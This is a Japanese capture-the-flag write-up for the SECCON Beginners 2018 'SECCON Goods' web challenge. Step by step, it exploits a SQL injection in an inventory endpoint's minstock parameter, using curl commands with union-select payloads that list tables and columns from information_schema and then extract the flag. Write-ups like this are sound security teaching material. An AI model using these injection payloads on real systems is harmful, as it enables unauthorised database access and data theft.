SECCON Beginners CTF 2018 - SECCON Goods
問題文
SECCON ショップへようこそ!在庫情報はこちらをご覧ください。
http://goods.chall.beginners.seccon.jp
writeup
特に入力フォーム等は無い画面。
Fiddlerを起動して通信を観察すると、在庫リストを表示するために、
/items.php?minstock=0
へGETリクエストを発行してJSON形式のデータを取得している。
curlで実行してみる。実行した結果はjqコマンドで整形する。
ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1" | jq [ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, { "id": "2", "name": "Tシャツ", "description": "M サイズ", "price": "2000", "stock": "3" }, { "id": "3", "name": "Tシャツ", "description": "L サイズ", "price": "2000", "stock": "7" }, { "id": "4", "name": "Tシャツ", "description": "XL サイズ", "price": "2000", "stock": "4" }, { "id": "5", "name": "パーカー", "description": "S サイズ", "price": "5000", "stock": "7" }, { "id": "6", "name": "パーカー", "description": "M サイズ", "price": "5000", "stock": "5" }, { "id": "7", "name": "パーカー", "description": "L サイズ", "price": "5000", "stock": "3" }, { "id": "8", "name": "パーカー", "description": "XL サイズ", "price": "5000", "stock": "2" } ]
パラメータにSQLインジェクションの脆弱性あり。
union all select 1,2,3,4,5
を付けると、そのレコードが返ってくる。
ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,5" | jq [ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, (snip) { "id": "8", "name": "パーカー", "description": "XL サイズ", "price": "5000", "stock": "2" }, { "id": "1", "name": "2", "description": "3", "price": "4", "stock": "5" } ]
information_schema.tables
を取得して、テーブル名を確認する。
ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,table_name from information_schema.tables" | jq [ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, (snip) { "id": "1", "name": "2", "description": "3", "price": "4", "stock": "flag" }, { "id": "1", "name": "2", "description": "3", "price": "4", "stock": "items" } ]
flagテーブルとitemsテーブルがあることがわかった。
flagテーブルの列名をinformation_schema.columns
から確認する。
ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,column_name from information_schema.columns where table_name='flag'" | jq [ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, (snip) { "id": "1", "name": "2", "description": "3", "price": "4", "stock": "flag" } ]
flagテーブルにflag列があることがわかった。
最後にflagテーブルのflag列を確認する。
ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,flag from flag" | jq [ { "id": "1", "name": "Tシャツ", "description": "S サイズ", "price": "2000", "stock": "8" }, (snip) { "id": "1", "name": "2", "description": "3", "price": "4", "stock": "ctf4b{cl4551c4l_5ql_1nj3c710n}" } ]
フラグゲット。
ctf4b{cl4551c4l_5ql_1nj3c710n}